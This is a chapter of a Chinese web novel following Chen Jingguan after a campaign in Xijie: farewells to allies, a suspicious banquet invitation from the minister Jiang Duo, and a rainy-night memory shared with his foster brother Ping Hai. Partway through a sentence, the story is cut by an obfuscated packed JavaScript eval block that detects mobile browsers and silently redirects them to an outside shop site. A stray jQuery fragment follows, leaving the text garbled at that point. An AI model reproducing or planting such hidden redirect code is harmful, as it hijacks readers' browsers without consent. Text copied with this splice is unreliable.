31.总角之宴(一)
    西芥的风大,消息也难免传得快些,一行人还未回到营地,遏佐被斩首的消息就传遍整个西芥,甚至扩散到了南北两朝。只是对于这样一个劲敌的消亡,大家心中各有盘算,默契地任由这件事起,又看着它沉寂。

    而送往南魏的回书中,陈京观隐去了自己的功绩,把一切都推给了沁格,至于他出兵西芥的理由,成了为促成南魏与西芥重立和平协议。

    “我在此先恭喜首领终登大宝。”

    原先的恪多部吸纳了忽兰的领地,成了新首领的疆土。此时的陈京观站在故地,面前却已不是故人。他微微拱手向忽兰行礼,等他说罢,又将身子转向沁格,“我也恭喜别吉,领了事务司一职,算是解了你心中的忧虑。”

    陈京观下了战场,褪去那一身盔甲,脸上的笑意便又若有若无地挂了起来,他身边的平海和席英随着他的动作一齐行礼,不过在幅度和礼数上更甚一些。

    沁格跟在哥哥身后应了陈京观一句,随后抬眼看了看席英,不知为何,她心中生出了些没由来的羡慕。她那日听说了席英生擒敌首的事迹,一直想要见见她,如今看到了,眼前的人却与自己想象的大相径庭。席英是典型的南魏身型,甚至带了些江南气息,若不是今日一身戎装,她倒真以为是谁家养在闺阁里花儿。

    “我忽兰能得各位英雄相助,实我之幸。如若各位以后有用得到我们的地方,我们定将鼎力以报。”

    忽兰如今套在首领的长袍里看上去多了几分威严,甚至和他的父亲有几份相似,他说着,将右手伏在肩上微微低头,接着便从怀中拿出了早就准备好的协议,一封用绢布做的手书,象征着西芥的最高礼仪。

    “从今往后,西芥与南魏的往来都以此为准。我只期盼下次再见少将军时,我们推杯换盏,把酒言欢。”

    陈京观笑着接过那封诏书,他没有打开看,而是直接将它收进了自己的袖袋。

    “愿下次再见,你我无恙。”

    不知为何,此时的场景让陈京观突然想到了八年前的那个除夕。那是家中过得最冷清的一个年,彼时父亲还没从西芥回来,不知他是否也与恪多如此心平气和地交谈,又或者他委曲求全做了许多周旋。

    陈京观觉得,该是后者。

    帐子里的寒暄稍显客套,不过时至今日以他们的身份,有些话很难再说出口了,而陈京观也察觉出了沁格的反常,她今日似乎一直欲言又止,直到陈京观要离开时,她才出言要送他出关,等出了忽兰的营地,沁格就止住了脚步。

    “我希望有一事少将军能明白,我答应做你的盟友,是因为你这个人,我与他之间,原没有什么交情。我不会让您为难,但正如您所说,现在的我与他,也有事情未了。”

    沁格的话说得很含蓄,她的每一个指称都言将点破,但最后依旧留着彼此的体面。陈京观没答话,望着沁格的眼睛点了点头。

    而西芥的事告一段落,陈京观也该准备着回阙州复职,他回去时选了槐州道,顺路去看了看薛磐。此时的槐州城全然看不出两个月前的萧瑟,去周边府衙避难的百姓回来了,街上人来人往,好不热闹,一些企图和新西芥政权搭上话的商人也来了,槐州俨然成了另一座雍州城。

    不过陈京观赶到槐州的时候,江阮已经离开了。听薛磐说,是在西芥传出恪多死讯的那个夜晚他就走了,他是一个人来的,也是一个人走的,什么话也没留下。陈京观对此倒不觉得诧异,他是这样一个人,自己自始至终都是知道的,倘若有下次相见,他也断不会想着给自己一个解释。

    只是或许他不是好人,但于自己而言,他却的确忠心。他的每一步算计都有他的道理,但他的每一步算计都将陈京观排除在外。

    “薛知州,今日一走不知何时才能再见,望安好,望康健。”

    陈京观的手被薛磐抓着,他年岁大了,就容易伤感,此时望着一月未见的陈京观眼泪婆娑,他给陈京观装了许多带在路上的吃食,又给他做了两件新衣。他对陈京观,有一种没由来的喜欢。

    “照顾好自己,我这辈子都守在这了,不过往后槐州的日子怕是能好过些,多亏了你。”

    说着,薛磐的手微微颤抖,他抹了一把泪,像是突然想到了什么,转身回到书房拿来一个匣子,将它郑重地放在陈京观手里。

    “那日的梨木还剩些料,我这几日抽空做了个簪子,你若能带给她最好,若不能……赠予你以后的妻子也好。”

    手上的匣子看上去精致小巧,可想里面的簪子该是何等用心所制,陈京观默声,片刻后点了点头,微微屈膝向薛磐告别。

    之后的路他走得很轻快,平远军的大部队跟着旧伤初愈的董辉回了雍州,槐州留下了一千人马做战后守备,而这一千人后来逐渐自发形成了六千人的槐卫军,不过都是后话了。

    陈京观这一次回阙州,身边除了平家兄弟,也带上了席英。她在西芥一战中名声大噪,但许是性格的缘故,她依旧与其他人亲近不起来,周围纵使全是夸赞,她也多是面无表情地受着,有时陈京观提点两句,她就微微点头向贺者道谢。

    她的性子,让陈京观想到了初来雍州时的自己,可八年时间,宁渡和平海捂热了他的心,他也想试着融一融席英这块冰。

    南魏的六月是一年中最美的时间,万物生长,百花齐放,槐州到阙州的路说长不长说短不短,但初夏的骄阳相伴,让人忍不住想要享受着美好的天光。

    一个月后,陈京观一行四人回到了位于阙州边界的宅子,家里多了席英一个女孩,其他三个人也收敛了一些。平日总打着赤膊在院里跑的平芜,如今只要不在自己的卧房里,总是穿戴整齐,陈京观没什么大的妨碍,但有些兄弟间的话也要跑到平海的屋里头去说。

    等着他们安顿好了,崇明殿里的旨意也就降下来了,宫里这次派来的内侍更妥帖,还没跨进宅子,嘴里的谄媚就开始了。那道诏书上多是对陈京观参州一战的肯定,默契地隐去了他在西芥内战里的存在,内侍随行还抱着一把剑,陈京观认得出来,是萧霖上次在崇明殿擦的那把。

    陈京观回家第二日就把西芥的新协议递了上去,萧霖没说什么,只问了一句:“你想要的得到了吗?”陈京观闻言一愣,但随后点了点头。萧霖没再说什么,将那封手书交给了司印局,不出三日全南魏都知道了这天大的好消息。而萧霖对于陈京观的封赏却一直没下来,陈京观是不在意,但是总有人时刻盯着他。

    于是陈京观前脚送走了内侍,还没回屋就看到了蒋铎身边跟着的小厮。都说仆随主子,那小厮见到陈京观也是一脸趾高气昂,他对陈京观行礼时只是微微欠身,随后语气傲慢地说道:“少将军,我家老爷明日在府里摆了宴席,说是少将军入京这么久也没来拜访,他特设宴请您一聚,也当是为您庆功。”

    小厮的话省去了主语,陈京观自然知道他是在暗指自己不去请示蒋铎,可小厮的话说出来,倒惹得他发笑。

    “我朝大将军之位空悬,而丞相作为文官之首莫不是对行军打仗的事也有研究,想与我切磋?”

    陈京观刚领了萧霖的圣意,如今是当朝的红人,那小厮听他这么一说,也敛了些脾气,拱着手将请帖递了上去。陈京观低头瞧了一眼,见那帖子是紫红底上绣了几朵鸢尾花,一股鸿门宴的气息扑面而来。

    “帖子我收下了。”

    小厮等着陈京观的后半句,可陈京观语气里的调侃毫不收敛,那小厮也不愿意在此地搓磨,应承了两句就往回跑。等他走后,陈京观望着手里的请帖默不作声,倒是有人悄悄走到他背后,冷不丁出声:“我陪你去。”

    “你知道是鸿门宴也去?”

    陈京观没转身也听出是席英,闻言轻笑了一声说道。但是他背后的席英没有言语,片刻之后,犹豫着说:“那你不去了?”

    陈京观没做声,摆了摆手走回屋里。他明白蒋铎兴师动众的来请自己一趟,自然是挖好了坑等着自己跳,但是他很好奇,他手里到底有什么底牌,能让他敢如此光明正大的在此时请自己去。

    当日夜里,陈京观在将入睡时听到了外面的雨声。阙州晚春的雨很多,很细密,但不会下很长时间,他起身要去关虚掩着的窗户,却看到平海一个人在庭院里站着。他掩在阴影里,穿着一身里衣,陈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044871|146751||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    京观觉得有雨落在了他身上,但是他没有理会,继续抬头看天。

    “在想什么?”

    陈京观从架子上拿了一件披风,自己裹上了外衣走了过去,平海接过披风轻声道谢,但没有要应话的意思。

    “进了阙州后事情多了,少有时间能与你再如少时般彻夜交谈,但是你开朗了许多。”

    陈京观说罢,侧过头看了看平海,眼前的人虽说比自己小几个月,但更像是自己的哥哥。当时宁渡刚买下他,没过几日江秀就领着两个小孩跪在了昌用门口。她一边哭诉丧夫的悲切,一边搂着两个小孩一个劲儿给宁渡磕头,宁渡拗不过她,也一并将他们收下了。

    从那时起,昌用里多了人气,平芜每日追着两个哥哥问东问西,平海自小话就不多,但也每次耐着性子去回答。而陈京观本是从小娇养长大的,一朝经历变故,一时间缓不过劲来,有时平芜的问题戳到他的伤口,他就默不作声地一个人回房间坐着。平芜只觉得这个师兄脾气有些怪,而平海将一切都看在眼里。

    平海对于这个看上去就与自己不大相同的哥哥其实没什么兴趣,起初宁渡让三人帮着跑腿,陈京观便展露出了小时候娇生惯养后的脆弱,手上一点伤口,腿上擦破点皮,一瞬眼睛就红了,平海觉得这个人不好相处。

    但这样的日子过久了,陈京观也慢慢习惯了,身上的伤多了也就不叫唤了。平海倒是没想到他能坚持这么久,他以为陈京观是哪家商会送来历练的少爷,但渐渐发现他身上透露出的是与自己一般的气息。

    他们一起到昌用的第三年,四月里寻常的一天,平海也是在这样一个雨夜躲着平芜,偷偷从后院翻了出去。陈京观本来不想多事,但他听到平海落地时吃痛地叫了一声,便悄悄跟在他后面,瞧见他在墙角处生了火,手里握着一把皱皱的纸钱,火舌在他面前窜,小雨落着没浇灭那团火焰,倒是湿了平海的衣服。

    陈京观没出声,他前几日,也在同样的位置祭奠过父亲。

    不过雍州有宵禁,此时小雨淋湿了木柴,再一生火,一股黑烟飘到了长街上,巡街的守卫慢慢摸索过来,平海没有察觉,但是陈京观看到了他身后渐渐靠近的黑影。

    “走!”

    平海还没反应过,自己的胳膊已经被陈京观拽住,他的声音压得很低,但是手上的动作并不轻,平海有些不明所以,但还是顺从地跟他走了。

    等他们前脚离开,那堆火就被守卫灭了,守卫四下顾盼,而陈京观将平海推在自己身后,两个人躲在陈京观刚站的墙角后。那守卫没看到人,又因是雨夜值守,草草转了一圈就离开了。

    “谢谢。”

    平海的声音很轻,说罢有些别扭地朝后退了两步,陈京观没有说话,迈步就往院子里走去,但他发觉身后的人没有跟上来,忍不住又回头望。

    “不回去吗?”

    平海闻言摇了摇头,又走到了那堆灰烬面前,他看着渐渐被雨水烬灭的火星,深深举了一躬。陈京观望去,那是雍州城门的方向。

    那一夜,陈京观与平海说了很多,少年人藏不住心事,又碰巧遇到了和自己一般遭遇的朋友,两人像是心心相惜的小兽,在受伤后抱团取暖。而平海大多时候依旧只是听着,但是慢慢放下了对身边人的防备和偏见,等到陈京观说出那句“我想带他回来”,平海一愣。十四岁的少年握紧拳头,轻声应了一句。

    之后两人像是突然熟了起来,陈京观也像是慢慢找回了小时候的自己,但平海能察觉得出,他没变过。

    “师兄,你说这场雨还会下多久?”

    平海一边系着披肩的绑带,一边开口,但他的目光依旧盯着屋檐上滴落的碎雨,甚至有想要用手去触碰的冲动。而陈京观没应声,心里却应下了蒋铎的邀约。

    他不知道前路有什么等着他,但是他知道他想要得到的,得踩着这条血路去找。

    这夜的雨罕见地下了两三个时辰,淋湿了初夏,更让周遭的温度骤然下降,陈京观与平海聊着,天上的明月也相伴左右。那时朝晖将露,云层化作细雨倾下,让那轮月忽隐忽现。

    “平海,天快亮了。”